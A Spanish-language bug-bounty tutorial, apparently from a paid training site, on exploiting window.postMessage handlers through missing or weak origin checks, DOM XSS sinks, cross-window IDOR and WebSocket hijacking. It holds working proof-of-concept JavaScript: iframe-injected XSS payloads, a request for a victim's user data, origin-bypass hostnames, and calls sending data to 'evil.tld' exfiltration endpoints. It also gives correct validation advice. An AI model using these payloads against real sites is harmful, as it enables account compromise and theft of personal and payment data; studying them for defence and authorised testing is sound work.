Respuesta rápida
window.postMessage() es el canal IPC entre iframes/windows de orígenes diferentes — y es uno de los sinks DOM XSS más subestimados de 2026. La regla: si un listener procesa event.data sin validar event.origin, cualquier sitio que pueda abrir/embeber tu target puede mandar el payload. Tres patrones rentables: origin no validado (XSS clásico), regex de origin laxa (bypass con sub-strings), y payload que fluye a innerHTML/eval/location. Bounties: €1.500-€8.000 con multiplier cuando el target es SDK embeded (fintech, payment widgets).
El modelo postMessage
// Sender (cualquier origen)
window.parent.postMessage({type: "ready"}, "*");
// Receiver (target)
window.addEventListener("message", (event) => {
// event.origin → origen del sender
// event.data → payload
// event.source → window que envió
});
postMessage es cross-origin by design. El sender puede ser cualquier sitio. La seguridad depende enteramente del receiver validando event.origin.
Patrón vulnerable 1 — origin no validado
El sin de SDKs y widgets embeded:
window.addEventListener("message", (event) => {
// NO valida origin
const data = JSON.parse(event.data);
document.getElementById("output").innerHTML = data.html;
});
Cualquier sitio que pueda embeber esta página manda:
// attacker.tld
const iframe = document.createElement("iframe");
iframe.src = "https://target.com/widget";
iframe.onload = () => {
iframe.contentWindow.postMessage(
JSON.stringify({ html: "<img src=x onerror=alert(document.domain)>" }),
"*"
);
};
document.body.appendChild(iframe);
→ XSS en target.com con cookies same-origin.
Detección
Busca todos los addEventListener("message", ...) en bundles JS. Si el handler no referencia event.origin → vulnerable.
# grep en bundles minificados
grep -oP "addEventListener\(['\"]message['\"][^}]+" main.js | head -20
DevTools → Sources → busca "message" → inspecciona el handler.
Patrón vulnerable 2 — origin validado con regex débil
Los devs saben que hay que validar origin. Pero hacen regex permisivas:
Anti-pattern A: indexOf / includes
if (event.origin.indexOf("target.com") !== -1) {
// process
}
Bypass:
https://target.com.attacker.tld→ contiene "target.com"https://attacker.tld/target.com→ contiene "target.com" (origin no incluye path pero algunos parsers lo confunden — depende del browser)https://target.coma.tld→ si solo busca "target.co"
Anti-pattern B: startsWith
if (event.origin.startsWith("https://target")) accept();
Bypass: https://target.attacker.tld arranca con "https://target".
Anti-pattern C: regex sin anclajes
if (/target\.com/.test(event.origin)) accept();
Bypass: https://attacker.tld?x=target.com — pero origin no incluye query así que esto no funciona directamente. Sí funciona: https://target.com.attacker.tld (matches "target.com" como substring).
Anti-pattern D: split y comparación parcial
const host = event.origin.split("//")[1];
if (host.endsWith("target.com")) accept();
Bypass: https://eviltarget.com termina con "target.com".
<!-- PAYWALL -->[!warning] Validación correcta
event.origin === "https://target.com"— exact match. Si necesitas múltiples orígenes, usa una whitelist explícita:["https://target.com", "https://app.target.com"].includes(event.origin).
Patrón vulnerable 3 — origin validado, payload no sanitizado
El receiver valida origin pero confía ciegamente en el payload. Si el sender legítimo está comprometido (XSS, supply chain, malicious iframe), el chain sigue siendo explotable.
window.addEventListener("message", (event) => {
if (event.origin !== "https://trusted-cdn.com") return;
document.getElementById("output").innerHTML = event.data.html; // sink
});
Si trusted-cdn.com tiene XSS en cualquier punto → escala a target.com.
Sinks típicos en handlers postMessage
| Sink | Payload | Resultado |
|---|---|---|
innerHTML = data | <img src=x onerror=alert(1)> | DOM XSS |
eval(data) | alert(1) | DOM XSS |
setTimeout(data, 0) (string) | alert(1) | DOM XSS |
location.href = data | javascript:alert(1) | XSS via URL |
document.write(data) | <script>alert(1)</script> | DOM XSS |
| Reflected en DOM tree | template string mal escapado | Stored-via-postMessage XSS |
fetch(data.url) con credentials | https://evil.tld/exfil | CSRF-like exfiltration |
IDOR cross-window via postMessage
Algunos widgets exponen RPC sobre postMessage — el child window pide datos al parent vía postMessage({type: "getUser", id: X}) y el parent responde con el user data.
Test
// attacker.tld embebe widget
const iframe = document.createElement("iframe");
iframe.src = "https://widget.target.com/embed";
iframe.onload = () => {
iframe.contentWindow.postMessage({ type: "getUser", id: "VICTIMA" }, "*");
};
window.addEventListener("message", (event) => {
console.log("Response:", event.data); // → datos de la víctima
});
Si el widget no valida que el id solicitado pertenezca al user actualmente autenticado en el parent → IDOR cross-window.
Patrones de RPC vulnerables
{type: "getProfile", userId: X}— leak de profile{type: "getEmail"}— leak de email asumiendo "el child sabe quién es"{type: "getCookie", name: "session"}— exfil de cookies (anti-pattern serio){type: "navigate", url: X}— open redirect / phishing
Source bypass — confiar en event.source
Algunos handlers validan event.source en vez de event.origin:
window.addEventListener("message", (event) => {
if (event.source === window.opener) accept();
});
Bypass: el atacante abre target con window.open(), luego mete el iframe vulnerable dentro. event.source es window desde el iframe — pero si la app está distribuida (target embebe widget de cdn), el chain es:
atacante.tld → window.open(target.com)
↓
target.com tiene iframe (widget.com)
↓
widget.com postMessage al parent (target.com)
↓
target.com responde: event.source === window.opener?
↓
widget.com es el iframe, no window.opener → falla
↓
atacante.tld es window.opener → trick:
inyectar payload desde atacante.tld via window.open ref
Source validation sin origin validation es bypaseable en escenarios anidados.
WebSocket hijacking via postMessage
Patrón documentado: SDK de fintech expone WebSocket connection via postMessage. El widget abre WS al backend para receive realtime data. Si el endpoint /ws/connect se invoca via postMessage RPC:
// atacker.tld embebe widget
iframe.contentWindow.postMessage(
{ type: "wsConnect", url: "wss://evil.tld/sniff" },
"*"
);
El widget abre WS a evil.tld → enviado con cookies de target → WebSocket Hijacking via postMessage. Combinación rentable cuando el WS lleva tokens financieros, payment info, o session keys.
SDK iframe embedded — la mina de oro
Payment widgets (Stripe Elements, Square, Klarna), chat widgets (Intercom, Drift), analytics widgets (Mixpanel) suelen embeber un iframe que se comunica con el parent via postMessage.
Por qué son rentables
- El parent debe mandar datos sensibles al iframe (card number, contact info).
- El iframe debe responder al parent con eventos ("card valid", "user typed").
- Si CUALQUIER lado tiene origin validation débil → exfil de PII / payment.
Test pattern
- Embed el widget en
attacker.tld. - Manda postMessage con todos los
typedocumentados en el SDK público. - Manda postMessage con
typeno documentados — frecuentemente hay handlers internos expuestos. - Cualquier response con datos del user del parent → leak.
Hunting checklist
- Lista todos los
addEventListener("message", ...)en bundles JS de la app. - Para cada handler: ¿valida
event.origin? - Si valida: ¿es exact match (
===) o regex/indexOf/startsWith (vulnerable)? - Identifica el sink:
innerHTML,eval,location.href,document.write,setTimeout(string),fetch(data.url). - Embed el widget en tu dominio y manda payloads explorando cada
typeque el handler procesa. - IDOR via postMessage RPC: pide datos con
idde otro user. - WebSocket / fetch hijack: ¿el handler abre conexiones con URL controlable?
- Source bypass: si valida
event.source, busca chains conwindow.open+ iframe. - SDK embedded payment/chat/analytics → handlers no documentados.
- Verifica origin validation con
https://eviltarget.comyhttps://target.com.evil.tld. - Documenta: PoC con iframe en attacker.tld + impact (XSS, PII leak, payment data exfil).
Labs relacionados
Practica origin bypass, sink discovery e IDOR cross-window en labs de postMessage.
Practica esto en un lab
Zero Click Postmessage Origin Bypass
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Hay un payload extra al final
El truco postMessage + WebSocket Hijacking que da takeover zero-click en SDKs embeded de fintech populares.
5 €/mes · cancela cuando quieras
Artículos relacionados
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.
Client-side admin bypass — boolean manipulation + BAC en SPA moderna
Report real Quora: SPA con isAdmin boolean en localStorage que controla UI + backend que no valida server-side. Cómo encadenar boolean flip con BAC para admin takeover.
Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover
Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.